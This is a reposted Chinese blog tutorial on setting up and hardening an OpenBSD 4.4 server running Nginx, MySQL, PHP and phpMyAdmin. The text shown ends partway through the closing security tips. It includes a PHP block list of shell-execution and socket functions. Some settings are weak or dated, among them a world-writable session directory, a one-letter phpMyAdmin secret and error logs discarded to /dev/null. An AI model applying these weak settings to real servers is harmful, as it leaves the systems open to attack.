		<link>http://www.evanjiang.net.cn/archives/1176.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1176.html#comments</comments>
		<pubDate>Mon, 08 Jun 2009 14:32:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[mysql]]></category>
		<category><![CDATA[openbsd unix]]></category>
		<category><![CDATA[pf]]></category>
		<category><![CDATA[www服务]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1176</guid>
		<description><![CDATA[<p>很久没弄过OPENBSD，而且，听说现在的NGINX很红，性能比传统的APACHE要好很多倍，因而，一直想弄个NGINX服务器环境。加上，俺也想熟悉回OPENBSD，就想着弄个OPENBSD，NGINX，MYSQL，PHP的环境。。弄来玩玩，就当复习一下技术。出于习惯，俺还是在网上找了这篇文档。初步看过，好像写得不错，，就先弄过来，暂没时间实操过，待俺忙过这段时间。就再次重点研究一下俺熟悉而喜欢的UNIX服务器与数据库技术。。。</p>
<p>本手册以在OpenBSD 4.4环境下搭建Nginx、MySQL、PHP环境为例进行讲解。按照惯例，root权限。</p>
<p>=====================================================</p>
<p>目录</p>
<p>一、OpenBSD的安装及注意事项
二、系统性能调优
Ⅰ、/etc/fstab调优
Ⅱ、/etc/sysctl.conf调优</p>
<p>三、O.N.M.P.软件环境的安装
四、Nginx配置
Ⅰ、Nginx配置文件的修改
Ⅱ、Nginx日志截断</p>
<p>五、MySQL与phpMyAdmin的配置
Ⅰ、MySQL的配置
Ⅱ、phpMyAdmin的配置</p>
<p>六、强化PHP的安全
七、强化SSH的安全
Ⅰ、SSH配置文件的修改
Ⅱ、使用KEY进行验证
Ⅲ、按需启动SSH
Ⅳ、一点安全小常识</p>
<p>八、启用Packet Filter防火墙
九、系统启动脚本的修改</p>
<p>=====================================================</p>
<p>一、OpenBSD的安装及注意事项</p>
<p>OpenBSD的安装这里就不多说了，主要是安装时系统组件的选择、分区和系统服务的部分。对于系统组件部分，作为生产系统来说，偶并不推荐安装comp44.tgz这个组件。因为comp44.tgz实际就是编译器，不装这个，可以在很大程度上避免安装一些非授权的软件，从而提高远程主机的安全性。如果真的需要安装什么软件，也可以在非重要的机器上进行编译，然后使用PSFTP等软件上传到远程主机上使用。关于PSFTP软件的使用，二楼有详细的介绍。</p>
<p>系统分区时，推荐将/usr、/usr/local、/var、/var/mysql、/var/mail、/var/log、/var/nginx等分区单独分出来，也就是说，进行比较细致的分区，防止某个目录中的文件膨胀占满整个分区导致的死锁等问题。假定你有一个80G的硬盘，一个分区示例在下面：</p>
<p>/	200M
(swap)	1G
/tmp	200M
/usr	500M
/usr/local	200M
/var	100M
/var/mysql	10G
/var/mail	100M
/var/log	5G~10G
/home	200M
/var/nginx	剩余空间</p>
<p>至于系统服务部分，建议所有的服务都选择“n”，亦即不随系统启动。

二、系统性能调优</p>
<p>对于多核的机器，使用bsd.mp这个核心。</p>
<p>[Copy to clipboard] [ - ]CODE:
mv /bsd /obsd
mv /bsd.mp /bsd</p>
<p>Ⅰ、/etc/fstab调优</p>
<p>[Copy to clipboard] [ - ]CODE:
vi /etc/fstab</p>
<p>在文件系统描述符部分，加入&#8221;noatime&#8221;和&#8221;softdep&#8221;。示例如下：</p>
<p>QUOTE:
/dev/wd0a / ffs rw,noatime,softdep 1 1
/dev/wd0l /home ffs rw,nodev,nosuid,noatime,softdep 1 2
/dev/wd0d /tmp ffs rw,nodev,nosuid,noatime,softdep 1 2
/dev/wd0e /usr ffs rw,nodev,noatime,softdep 1 2
/dev/wd0f /usr/local ffs rw,nodev,noatime,softdep 1 2
/dev/wd0g /var ffs rw,nodev,nosuid,noatime,softdep 1 2
/dev/wd0i /var/log ffs rw,nodev,nosuid,noatime,softdep 1 2
/dev/wd0j /var/mail ffs [...]]]></description>
			<content:encoded><![CDATA[<p>很久没弄过OPENBSD，而且，听说现在的NGINX很红，性能比传统的APACHE要好很多倍，因而，一直想弄个NGINX服务器环境。加上，俺也想熟悉回OPENBSD，就想着弄个OPENBSD，NGINX，MYSQL，PHP的环境。。弄来玩玩，就当复习一下技术。出于习惯，俺还是在网上找了这篇文档。初步看过，好像写得不错，，就先弄过来，暂没时间实操过，待俺忙过这段时间。就再次重点研究一下俺熟悉而喜欢的UNIX服务器与数据库技术。。。</p>
<p>本手册以在OpenBSD 4.4环境下搭建Nginx、MySQL、PHP环境为例进行讲解。按照惯例，root权限。</p>
<p>=====================================================</p>
<p>目录</p>
<p>一、OpenBSD的安装及注意事项<br />
二、系统性能调优<br />
Ⅰ、/etc/fstab调优<br />
Ⅱ、/etc/sysctl.conf调优</p>
<p>三、O.N.M.P.软件环境的安装<br />
四、Nginx配置<br />
Ⅰ、Nginx配置文件的修改<br />
Ⅱ、Nginx日志截断</p>
<p>五、MySQL与phpMyAdmin的配置<br />
Ⅰ、MySQL的配置<br />
Ⅱ、phpMyAdmin的配置</p>
<p>六、强化PHP的安全<br />
七、强化SSH的安全<br />
Ⅰ、SSH配置文件的修改<br />
Ⅱ、使用KEY进行验证<br />
Ⅲ、按需启动SSH<br />
Ⅳ、一点安全小常识</p>
<p>八、启用Packet Filter防火墙<br />
九、系统启动脚本的修改</p>
<p>=====================================================</p>
<p>一、OpenBSD的安装及注意事项</p>
<p>OpenBSD的安装这里就不多说了，主要是安装时系统组件的选择、分区和系统服务的部分。对于系统组件部分，作为生产系统来说，偶并不推荐安装comp44.tgz这个组件。因为comp44.tgz实际就是编译器，不装这个，可以在很大程度上避免安装一些非授权的软件，从而提高远程主机的安全性。如果真的需要安装什么软件，也可以在非重要的机器上进行编译，然后使用PSFTP等软件上传到远程主机上使用。关于PSFTP软件的使用，二楼有详细的介绍。</p>
<p>系统分区时，推荐将/usr、/usr/local、/var、/var/mysql、/var/mail、/var/log、/var/nginx等分区单独分出来，也就是说，进行比较细致的分区，防止某个目录中的文件膨胀占满整个分区导致的死锁等问题。假定你有一个80G的硬盘，一个分区示例在下面：</p>
<p>/	200M<br />
(swap)	1G<br />
/tmp	200M<br />
/usr	500M<br />
/usr/local	200M<br />
/var	100M<br />
/var/mysql	10G<br />
/var/mail	100M<br />
/var/log	5G~10G<br />
/home	200M<br />
/var/nginx	剩余空间</p>
<p>至于系统服务部分，建议所有的服务都选择“n”，亦即不随系统启动。<br />
<span id="more-1176"></span><br />
二、系统性能调优</p>
<p>对于多核的机器，使用bsd.mp这个核心。</p>
<p>[Copy to clipboard] [ - ]CODE:<br />
mv /bsd /obsd<br />
mv /bsd.mp /bsd</p>
<p>Ⅰ、/etc/fstab调优</p>
<p>[Copy to clipboard] [ - ]CODE:<br />
vi /etc/fstab</p>
<p>在文件系统描述符部分，加入&#8221;noatime&#8221;和&#8221;softdep&#8221;。示例如下：</p>
<p>QUOTE:<br />
/dev/wd0a / ffs rw,noatime,softdep 1 1<br />
/dev/wd0l /home ffs rw,nodev,nosuid,noatime,softdep 1 2<br />
/dev/wd0d /tmp ffs rw,nodev,nosuid,noatime,softdep 1 2<br />
/dev/wd0e /usr ffs rw,nodev,noatime,softdep 1 2<br />
/dev/wd0f /usr/local ffs rw,nodev,noatime,softdep 1 2<br />
/dev/wd0g /var ffs rw,nodev,nosuid,noatime,softdep 1 2<br />
/dev/wd0i /var/log ffs rw,nodev,nosuid,noatime,softdep 1 2<br />
/dev/wd0j /var/mail ffs rw,nodev,nosuid,noatime,softdep 1 2<br />
/dev/wd0h /var/mysql ffs rw,nodev,nosuid,noatime,softdep 1 2<br />
/dev/wd0k /var/nginx ffs rw,nodev,nosuid,noatime,softdep 1 2</p>
<p>友情提醒：softdep是一种非同步的文件系统，意外掉电可能造成数据的遗失/损坏，生产系统请谨慎使用！</p>
<p>改完后保存退出，reboot，看能不能正常启动。</p>
<p>一般情况下是没有问题的，个别机器或虚拟机可能会因为兼容性的缘故，无法启动。那么就把根目录的softdep拿掉，其他目录保留，仍然会有作用。</p>
<p>更多关于OpenBSD环境下磁盘性能调优的内容，请参看偶博客的文章，地址在下面：</p>
<p>http://blog.chinaunix.net/u2/81136/showart_1841280.html</p>
<p>Ⅱ、/etc/sysctl.conf调优</p>
<p>[Copy to clipboard] [ - ]CODE:<br />
vi /etc/sysctl.conf</p>
<p>跳到最后，加入下面的内容：</p>
<p>QUOTE:<br />
# 增大文件系统缓存到1M<br />
kern.maxvnodes=131072</p>
<p># 允许最多65536个进程<br />
kern.maxproc=65536</p>
<p># 同时最多打开65536个文件<br />
kern.maxfiles=65536</p>
<p># 并发连接最大65536<br />
kern.somaxconn=65536</p>
<p># 保留的最少连接数<br />
kern.sominconn=256<br />
kern.maxclusters=32768</p>
<p># 增大TCP接收/发送缓存到64K<br />
net.inet.tcp.recvspace=65536<br />
net.inet.tcp.sendspace=65536</p>
<p># 增大UDP接收/发送缓存到64K<br />
net.inet.udp.recvspace=65536<br />
net.inet.udp.sendspace=65536</p>
<p>注意：虚拟机测试只加最上面一行kern.maxvnodes=65536即可，其他的不必加了，否则会有各种问题。独立机器的可以加上。</p>
<p>保存退出，reboot。不能正常启动的就把除kern.maxvnodes以外的数字调小或者禁用再试。</p>
<p>三、OpenBSD.Nginx.MySQL.PHP软件环境的安装</p>
<p>OpenBSD环境下软件的安装是非常简单的，因为在官方的ftp中提供了已经编译好的二进制包，需要安装的软件都在ftp中，从ftp中安装即可。</p>
<p>小提示：如果你机器比较多，你可以把需要安装的软件包都down回来，其他机器再来这里安装，速度会非常快！</p>
<p>[Copy to clipboard] [ - ]CODE:<br />
export PKG_PATH=ftp://ftp.openbsd.org/pub/OpenBSD/4.4/packages/i386/</p>
<p>pkg_add mysql-server php5-fastcgi php5-gd-5.2.6-no_x11 phpMyAdmin lighttpd-1.4.19p3 nginx pecl-APC</p>
<p>以偶的1M ADSL小水管为例，大约也就二十分钟左右就安装完毕了！真的是非常快！和其他系统的wget源码、./configure &amp;&amp; make &amp;&amp; make install&#8230;所需要的时间相比，效率是非常高！而且，由于OpenBSD默认采用比较高的安全策略，装上的环境安全性也比其他系统要高！</p>
<p>等所需的软件都安装完成后，按提示作链接并创建PHP临时工作目录：</p>
<p>QUOTE:<br />
ln -s /var/www/conf/modules.sample/php5.conf /var/www/conf/modules<br />
ln -fs /var/www/conf/php5.sample/apc.ini /var/www/conf/php5/apc.ini<br />
ln -fs /var/www/conf/php5.sample/gd.ini /var/www/conf/php5/gd.ini<br />
ln -fs /var/www/conf/php5.sample/mbstring.ini /var/www/conf/php5/mbstring.ini<br />
ln -fs /var/www/conf/php5.sample/mcrypt.ini /var/www/conf/php5/mcrypt.ini<br />
ln -fs /var/www/conf/php5.sample/mysql.ini /var/www/conf/php5/mysql.ini<br />
mkdir /var/nginx/sesstmp<br />
chmod 0777 /var/nginx/sesstmp</p>
<p>pkg_info检查一下系统中安装了些什么软件包：</p>
<p>可以看到，所需的软件包和依赖的包都安装好了！</p>
<p>四、Nginx配置</p>
<p>Ⅰ、Nginx配置文件的修改</p>
<p>修改nginx的默认配置文件：</p>
<p>[Copy to clipboard] [ - ]CODE:<br />
vi /etc/nginx/nginx.conf</p>
<p>按下面的内容修改Nginx的配置文件。兰色表示需要手动修改的内容，红色表示增加的内容：</p>
<p>QUOTE:<br />
#user  nobody;</p>
<p># 指定子进程数，酌情修改<br />
worker_processes  4;</p>
<p>#error_log  logs/error.log;<br />
#error_log  logs/error.log  notice;<br />
#error_log  logs/error.log  info;</p>
<p>#pid        logs/nginx.pid;</p>
<p># 最多可打开文件数<br />
worker_rlimit_nofile 8196;</p>
<p>events {<br />
# 最大并发数<br />
worker_connections  1024;<br />
}</p>
<p>http {<br />
include       mime.types;<br />
default_type  application/octet-stream;</p>
<p># 关掉错误日志<br />
error_log       /dev/null  crit;<br />
# 如果需要错误日志，就用下面这行替换上面这行<br />
#error_log     /var/log/nginx/error.log  notice;</p>
<p># 定义日志格式，对日志使用缓存，避免频繁的磁盘I/O操作<br />
access_log   /var/log/nginx/access.log combined buffer=1m;</p>
<p>sendfile        on;<br />
tcp_nopush      on;<br />
tcp_nodelay     on;</p>
<p>keepalive_timeout  10;</p>
<p># 对静态文件和可压缩文件启用压缩，以节约网络带宽，提高访问速度<br />
gzip              on;<br />
gzip_min_length   1k;<br />
gzip_buffers      4 8k;<br />
gzip_http_version 1.1;<br />
gzip_comp_level   3;<br />
gzip_types        text/html text/css text/xml text/plain application/x-javascript application/xml application/pdf application/x-perl application/x-tcl application/msword application/rtf application/vnd.ms-excel application/vnd.ms-powerpoint application/vnd.wap.xhtml+xml image/x-ms-bmp;<br />
gzip_disable      &#8220;MSIE [1-6] \.&#8221;;<br />
gzip_vary         on;</p>
<p># 定义输出缓存大小<br />
output_buffers   4 32k;</p>
<p># 最大允许可上传文件大小<br />
client_max_body_size 20m;</p>
<p># 定义一个叫“myzone”的记录区，总容量为 10M<br />
# 和下面的limit_conn一起限制单个IP的并发连接数为10<br />
limit_zone myzone $binary_remote_addr  10m;</p>
<p>server {<br />
listen       80;<br />
server_name  localhost;</p>
<p>location / {<br />
root   /var/nginx/html;<br />
index  index.php index.html index.htm;<br />
limit_conn  myzone 10;<br />
}</p>
<p>error_page   500 502 503 504  /50x.html;</p>
<p>location = /50x.html {<br />
root   /var/nginx/html;<br />
}</p>
<p>location ~ \.php$ {<br />
root           html;<br />
fastcgi_pass   127.0.0.1:9000;<br />
fastcgi_index  index.php;<br />
fastcgi_param  SCRIPT_FILENAME  /var/nginx/html$fastcgi_script_name;<br />
include        fastcgi_params;<br />
}</p>
<p># 在浏览器本地暂存图片和静态文件，不记录日志，以节约机器资源<br />
location ~* \.(gif|png|jpg|jpeg|bmp|css|js|swf)$<br />
{<br />
root           /var/nginx/html;<br />
access_log off;<br />
expires max;<br />
}</p>
<p># 在浏览器中输入http://xxx.xxx.xxx/status可以看到Nginx的运行信息<br />
# 需要密码验证，不记录日志，限制IP访问<br />
location ~ /status<br />
{<br />
auth_basic  &#8220;O.N.M.P.&#8221;;<br />
auth_basic_user_file password;<br />
stub_status on;<br />
access_log   off;<br />
allow 192.168.0.0/24;<br />
deny all;<br />
}<br />
}</p>
<p>}</p>
<p>其他的部分请酌情修改。</p>
<p>运行下面的命令生成查看Nginx运行状态的密码文件：</p>
<p>[Copy to clipboard] [ - ]CODE:<br />
htpasswd -c /etc/nginx/password webadmin</p>
<p>按提示输入两遍密码即可。</p>
<p>在查看status的时候，输入用户名webadmin（见上面这行）和密码就能够看到Nginx的运行数据了。</p>
<p>Nginx能够流行和它的高负载能力是分不开的，在追求性能表现的场合，推荐使用Nginx+PHP-fastcgi的组合以获得强健的性能表现。而对于那些重视安全性的场合来说，可能OpenBSD内核集成的Apache更合适。OpenBSD下搭建Apache、MySQL、PHP环境的详细内容请参见偶的另篇博文，地址在下面：（博客速度可能较慢，四楼有转帖）</p>
<p>http://blog.chinaunix.net/u2/81136/showart_1860332.html</p>
<p>当然，你也可以利用Nginx内置的负载均衡功能，在前端分配访问流量，后端由Apache来运行PHP环境。Nginx负载均衡的配置可以去Nginx的主页参看相关内容，地址：http://wiki.nginx.org/Main。</p>
<p>下面为一个Nginx负载均衡的示例：</p>
<p>QUOTE:<br />
http {<br />
upstream myproject {<br />
ip_hash;<br />
server 192.168.1.1:80;<br />
server 192.168.1.2:80;<br />
server 192.168.1.3:80;<br />
server 192.168.1.4:80;<br />
}</p>
<p>server {<br />
listen 80;<br />
server_name www.domain.com;<br />
location / {<br />
proxy_pass http://myproject;<br />
}<br />
}<br />
}</p>
<p>网络拓扑示意图如下：</p>
<p>Ⅱ、Nginx日志截断</p>
<p>OpenBSD默认每天00:00会执行/etc/daily.local脚本中的内容，我们只需要把Nginx日志截断的命令加入到这个文件中即可。</p>
<p>[Copy to clipboard] [ - ]CODE:<br />
vi /etc/daily.local</p>
<p>加入下面的内容：</p>
<p>QUOTE:<br />
#!/bin/sh<br />
# 对Nginx日志进行截断和压缩，以节约log分区空间<br />
# 在张宴的基础上修改，感谢！<br />
mkdir -p /var/log/nginx/$(date -d &#8220;yesterday&#8221; +&#8221;%Y&#8221;)/$(date -d &#8220;yesterday&#8221; +&#8221;%m&#8221;)/<br />
mv /var/log/nginx/access.log /var/log/nginx/$(date -d &#8220;yesterday&#8221; +&#8221;%Y&#8221;)/$(date -d &#8220;yesterday&#8221; +&#8221;%m&#8221;)/access.$(date -d &#8220;yesterday&#8221; +&#8221;%Y%m%d&#8221;).log<br />
kill -USR1 `cat /var/run/nginx.pid`<br />
sleep 1<br />
gzip /var/log/nginx/$(date -d &#8220;yesterday&#8221; +&#8221;%Y&#8221;)/$(date -d &#8220;yesterday&#8221; +&#8221;%m&#8221;)/access.$(date -d &#8220;yesterday&#8221; +&#8221;%Y%m%d&#8221;).log</p>
<p>保存退出，为/etc/daily.local加上执行权限：</p>
<p>[Copy to clipboard] [ - ]CODE:<br />
chmod 0755 /etc/daily.local</p>
<p>其他需要每天运行的命令也都可以加在这个脚本里面，各位自行处理。</p>
<p>五、MySQL与phpMyAdmin的配置</p>
<p>Ⅰ、MySQL的配置</p>
<p>安全起见，MySQL需要运行在自己的daemon下：</p>
<p>[Copy to clipboard] [ - ]CODE:<br />
vi /etc/login.conf</p>
<p>跳到最后，加入MySQL所需的修改：</p>
<p>QUOTE:<br />
mysql:\<br />
 <img src='http://www.evanjiang.net.cn/wp-includes/images/smilies/icon_surprised.gif' alt=':o' class='wp-smiley' /> penfiles-cur=2048:\<br />
 <img src='http://www.evanjiang.net.cn/wp-includes/images/smilies/icon_surprised.gif' alt=':o' class='wp-smiley' /> penfiles-max=4096:\<br />
:tc=daemon:</p>
<p>使修改生效：<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
[Copy to clipboard] [ - ]CODE:<br />
cap_mkdb /etc/login.conf</p>
<p>初始化MySQL数据库：</p>
<p>[Copy to clipboard] [ - ]CODE:<br />
/usr/local/bin/mysql_install_db</p>
<p>MySQL自带了几个配置文件，在/usr/local/share/mysql目录中，可以拷贝为/etc/my.cnf使用。关于MySQL的配置和优化等内容，可以自行Google，这里不再赘述。<br />
MySQL安全须知<br />
不要用root身份运行数据库或PHP应用。并且，最好是数据库名和数据库用户名不同，以提高安全性。</p>
<p>例如，域名为example.net，则数据库名设为abcxyz，数据库用户名设为xyzabc。总之，关联度越低越好，数据库名和数据库用户名越复杂越难猜测越好。</p>
<p>控制权限的分配，PHP应用仅给予必要的权限。</p>
<p>例如，安装/升级Discuz!和PHPWind论坛程序，仅需要下图所示的权限即可：</p>
<p>在安装/升级完毕后，还可以把CREATE、ALTER、DROP权限去掉，不会影响论坛程序的运行，而且提高了安全性！<br />
Ⅱ、phpMyAdmin的配置</p>
<p>由于OpenBSD中的phpMyAdmin默认是安装在/var/www/phpMyAdmin目录中的，直接使用Nginx是无法访问的，我们需要把它拷贝到Nginx目录下，这样就可以通过浏览器来管理MySQL数据库了。</p>
<p>[Copy to clipboard] [ - ]CODE:<br />
mkdir /var/nginx/html/pma/<br />
cp -rf /var/www/phpMyAdmin/* /var/nginx/html/pma/</p>
<p>修改phpMyAdmin的配置文件，使之可用。</p>
<p>[Copy to clipboard] [ - ]CODE:<br />
vi +17 /var/nginx/html/pma/config.inc.php</p>
<p>将下面这行修改成：</p>
<p>QUOTE:<br />
$cfg['blowfish_secret'] = &#8216;a&#8217;; /* YOU MUST FILL IN THIS FOR COOKIE AUTH! */</p>
<p>（仅是加入了字母a而已）</p>
<p>保存退出。<br />
小提示：<br />
上面新建了/var/nginx/html/pma目录来保存phpMyAdmin的文件，目录名很简单。你可以用一个更复杂的目录名来代替，例如：pma2YAY5jRpfFfLXQVm这样的目录名，以防止黑客利用字典攻击等方法渗透你的phpMyAdmin！</p>
<p>你还可以在Nginx的配置文件中，将/var/nginx/html/pma配置成某个虚拟主机的根目录，并限定可以访问这个虚拟主机的IP。这样，就可以在很大程度上提高数据库的安全性了！一个配置示例在下面：</p>
<p>QUOTE:<br />
location / {<br />
allow   192.168.0.0/24;<br />
deny    all;<br />
}</p>
<p>假如平时只是偶尔用到phpMyAdmin，你还可以在用完后删除/var/nginx/html/pma目录，需要用的时候再拷贝过去。</p>
<p>你还可以将以上方法结合起来灵活使用，既建立一个无法被猜测的目录名，又限制IP访问，这样你的系统被黑的机会就会小了很多！<br />
六、强化PHP的安全</p>
<p>OpenBSD软件包中的PHP已经自带了suhosin这个补丁，可以在很大程度上提高PHP脚本的安全。本节主要讨论在php.ini文件中进行相关的设置，进一步提升安全性。具体来说，就是禁用某些危险函数和启用PHP安全模式。</p>
<p>偶一般是把对PHP的所有修改都放在一个单独的文件中进行，包括对PHP参数以及扩展模块的修改，都放在这个文件中一并处理，这样查找、修改和管理会方便许多：</p>
<p>[Copy to clipboard] [ - ]CODE:<br />
vi /var/www/conf/php5/addphp.ini</p>
<p>加入下面的内容：</p>
<p>QUOTE:<br />
; 禁止动态加载模块<br />
enable_dl = Off</p>
<p>; 隐藏PHP信息<br />
expose_php = Off</p>
<p>; 限定可访问目录<br />
open_basedir = /var/nginx/html/</p>
<p>;设定session暂存目录<br />
session.save_path=/var/nginx/sesstmp</p>
<p>; 设定PHP上传文件的临时目录<br />
upload_tmp_dir=/var/nginx/tmp</p>
<p>; 禁用危险函数（注意下面的内容应该是一行，编排的原因分成了多行）<br />
disable_functions = phpinfo,com,shell,exec,system,passthru,error_log,<br />
stream_socket_server,putenv,ini_alter,ini_restore,ini_set,dl,openlog,<br />
syslog,readlink,symlink,link,leak,fsockopen,pfsockopen,proc_open,<br />
popepassthru,escapeshellcmd,escapeshellarg,chroot,scandir,<br />
chgrp,chown,shell_exec,proc_get_status,popen,shmop_close,<br />
shmop_delete,shmop_open,shmop_read,shmop_size,shmop_write</p>
<p>; 启用PHP的安全模式<br />
; PHP在安全模式下运行是用性能换安全。据简单测试，性能下降到50%左右，各位请酌情使用<br />
; 启用安全模式后，某些程序可能受到影响。例如，Discuz!将无法上传附件<br />
safe_mode = On</p>
<p>; pecl-APC只使用16M的共享内存用以加速PHP程序的运行<br />
apc.shm_size=16M</p>
<p>保存退出。<br />
七、强化SSH的安全<br />
Ⅰ、SSH配置文件的修改</p>
<p>[Copy to clipboard] [ - ]CODE:<br />
vi /etc/ssh/sshd_config</p>
<p>跳到最后，加入下面的部分：</p>
<p>QUOTE:<br />
# 使用高位端口，防止黑客扫描22端口。可选范围1024~65535，推荐32768~65535。<br />
Port 58937</p>
<p># 登录时间控制在30秒内<br />
LoginGraceTime 30</p>
<p># 不允许root远程直接登录<br />
PermitRootLogin no<br />
StrictModes yes</p>
<p># 最多允许三次错误<br />
MaxAuthTries 3</p>
<p># 最多允许三个SSH线程<br />
MaxSessions 3</p>
<p># 使用SSH协议2<br />
Protocol 2</p>
<p># 不使用密码认证<br />
PasswordAuthentication no</p>
<p># 使用KEY的方式认证<br />
PubkeyAuthentication yes</p>
<p># KEY文件存放位置<br />
AuthorizedKeysFile      .ssh/authorized_keys</p>
<p>Ⅱ、使用KEY进行验证</p>
<p>下面以Windows环境下PuTTY为例讲解使用KEY验证的方法，Linux/UNIX下与此类似。</p>
<p>首先，从下面的网址下载PuTTY的安装包（Windows）：</p>
<p>http://the.earth.li/~sgtatham/putty/latest/x86/putty-0.60-installer.exe</p>
<p>下完后双击安装，不再赘述。这个软件包自带了下面几个非常实用的软件：</p>
<p>QUOTE:<br />
PuTTYgen:生成KEY；</p>
<p>Pageant:管理KEY；</p>
<p>PuTTY:SSH客户端；</p>
<p>PSFTP:使用SSH上传/下载文件。</p>
<p>下面就来实例讲解用PuTTY的这几个软件对远程主机进行KEY认证和管理的方法。假设我们要在192.168.0.132这个远程主机上使用young_king这个用户名进行KEY认证和登录。<br />
1.生成KEY</p>
<p>启动PuTTYgen，如下图：</p>
<p>在密钥长度栏输入想要的密钥长度，越大越安全。这里以最大的2048位为例，然后点“Generate”按钮，会开始生成KEY，生成过程中需要在下面的空白部分移动鼠标来生成随机数。</p>
<p>KEY生成完毕后，你可以输入一些标识信息，如下图：</p>
<p>还可以在下面的passphrase框内输入“保护码”，注意要输入两遍。“保护码”也就是密码的意思，用来保密私钥的，一定要记住这个哦！</p>
<p>都输入完毕后，点击下面的“Save public key”按钮保存公钥，如下图所示：</p>
<p>然后点击“Save private key”按钮保存私钥，如下图：</p>
<p>这个私钥最好不要保存在电脑上，我们把它拷贝到U盘上，随身带着，这就是我们的“KEY盘”。</p>
<p>要养成每月更换“保护码”的好习惯，更换“保护码”仍然要用到PuTTYgen这个软件，启动后点击“Load”，载入私钥，重新输入“保护码”，再确认一遍，然后点击“Save private key”保存即可！</p>
<p>2.启用KEY</p>
<p>上面生成了公钥和私钥，我们需要把公钥上传到远程主机的用户目录中，就要用到PSFTP这个软件了。启动它，如下图：</p>
<p>输入命令：open 192.168.0.132</p>
<p>接下来，PSFTP会列出远程主机上的RSA指纹以供识别，如下图：</p>
<p>这个指纹可以在远程主机上输入下面的命令查看：</p>
<p>[Copy to clipboard] [ - ]CODE:<br />
ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key</p>
<p>请把这个指纹记在纸上，随身携带，和远程主机连接的时候就拿出来对比一下（这么做主要是为了防止连接被人劫持和指纹被伪造）。</p>
<p>如果上面PSFTP显示的指纹和远程主机上的不一致，那么毫无疑问是伪造的了，直接回车断开连接。如果相符，你可以输入“y”来保存这个指纹到本地计算机上（不推荐），或输入“n”只是这次连接使用。</p>
<p>随后PSFTP会让你输入登录用户名和密码，并自动进入该用户的根目录，如下图（以root为例）：</p>
<p>现在我们要把第一步生成的公钥上传到远程主机上（请把这个公钥复制到C:\Documents and Settings\Administrator目录先，如果你的Windows不是用Administrtor登录的，就替换成你登录用的用户名）。输入命令：put young_king，可以看到，公钥已经上传到/root目录了，见下图：</p>
<p>PuTTY生成的KEY并不能直接使用，需要转换一下。用PuTTY登录（此时上面修改的端口尚未启用，还是默认的22端口），以root身份执行：</p>
<p>[Copy to clipboard] [ - ]CODE:<br />
ssh-keygen -X -f /root/young_king &gt; /home/young_king/.ssh/authorized_keys</p>
<p>这就把公钥成功导入到young_king的目录中了，就可以被young_king这个用户使用了！</p>
<p>导入成功后，要删除多余的公钥：</p>
<p>[Copy to clipboard] [ - ]CODE:<br />
rm /root/young_king</p>
<p>下面介绍几个PSFTP常用的命令：</p>
<p>QUOTE:<br />
open xxx.xxx.xxx.xxx：打开远程主机（xxx.xxx.xxx.xxx为IP或域名）；</p>
<p>put xxxxxxxx：向远程主机上传文件（该文件需要事先拷贝到C:\Documents and Settings\Administrator目录）；</p>
<p>get xxxxxxxx：从远程主机下载文件（下载后保存在C:\Documents and Settings\Administrator目录）；</p>
<p>cd xxxxxx:进入远程主机的相应目录；</p>
<p>exit：退出PSFTP（也可以点右上角的叉关闭，不过不推荐这样做）。</p>
<p>更多的命令可以参看PuTTY的帮助文件，这个帮助写得不错。</p>
<p>3.使用KEY登录</p>
<p>我们上面虽然修改了SSH的配置文件（/etc/ssh/sshd_config），但还没有启用。输入下面的命令启用新的SSH配置，以便我们用KEY登录：</p>
<p>[Copy to clipboard] [ - ]CODE:<br />
kill -HUP `cat /var/run/sshd.pid`</p>
<p>PuTTY提供了一个KEY的管理程序，上面已经提到，是Pageant，我们使用这个程序来进行KEY登录。</p>
<p>启动Pageant，它会自动缩小到任务栏的通知区域，右键单击，选择“Add key”，会弹出个对话框让我们选择。插入上面制作好的“KEY盘”，并选择保存的私钥，会弹出个对话框让我们输入“保护码”，如下图：</p>
<p>如果安装PuTTY时选择了让Pageant关联.ppk文件，则双击私钥可以自动启动Pageant。</p>
<p>输入在生成KEY时输入的“保护码”，私钥就被导入到Pageant中了。再右键单击任务栏通知区的Pageant图标，选择第一项“New session”，Pageant会自动启动PuTTY，等待输入远程主机的相关信息，如下图：</p>
<p>输入IP（或域名）和端口号，点击最下面的“Open”按钮，PuTTY就会登录远程主机了。和PSFTP类似，会弹出个对话框让你确认远程主机的RSA指纹，如下图。同理，指纹不同就表示连接被劫持或指纹被伪造，点“取消”断开连接；指纹相同就点“否”，不保存主机公钥到本地计算机。</p>
<p>随后会让你输入用户名，输入“young_king”，看看，自动就登录上去了！</p>
<p>前面更改SSH配置的时候，已经禁用了root远程登录和使用密码登录，只能使用KEY才能登录进系统。想要维护系统的时候，就用这个KEY登录，再su成root。而且，需要上传/下载文件的时候，就用PSFTP，所有的操作都在SSH连接下进行，还有KEY的保护，安全性不知道提升了多少倍！黑客想要破解真是难于上青天！<br />
Ⅲ、按需启动SSH</p>
<p>我们只在必要的时候启动sshd服务，用完即停止，不给黑客扫描的机会。输入下面的命令：</p>
<p>[Copy to clipboard] [ - ]CODE:<br />
crontab -e</p>
<p>跳到最后，输入下面的内容（中间的空白部分为Tab）：</p>
<p>QUOTE:<br />
# 每天的10:30启动sshd服务<br />
30      10      *       *       *       /usr/sbin/sshd</p>
<p># 10:35即停止sshd服务，也就是说，你只有五分钟的时间可以登录进系统<br />
35      10      *       *       *       kill `cat /var/run/sshd.pid`</p>
<p>保存退出。</p>
<p>上面的时间请酌情修改。sshd服务启动的时间尽量不要太长，5~10分钟应该够了！</p>
<p>Ⅳ、一点安全小常识<br />
私钥请一定保存在安全的地方，不要保存在本地计算机上，并加上足够强度的“保护码”；</p>
<p>本地计算机不要保存远程主机的“指纹”，用一次确认一次（远程主机的指纹保存在注册表的HKEY_CURRENT_USER\Software\SimonTatham\PuTTY项下，可以手动删除）；</p>
<p>不要使用DSA密钥，据说有漏洞的；</p>
<p>不要在公用计算机上连接远程主机，有键盘记录器、木马什么的就麻烦了；</p>
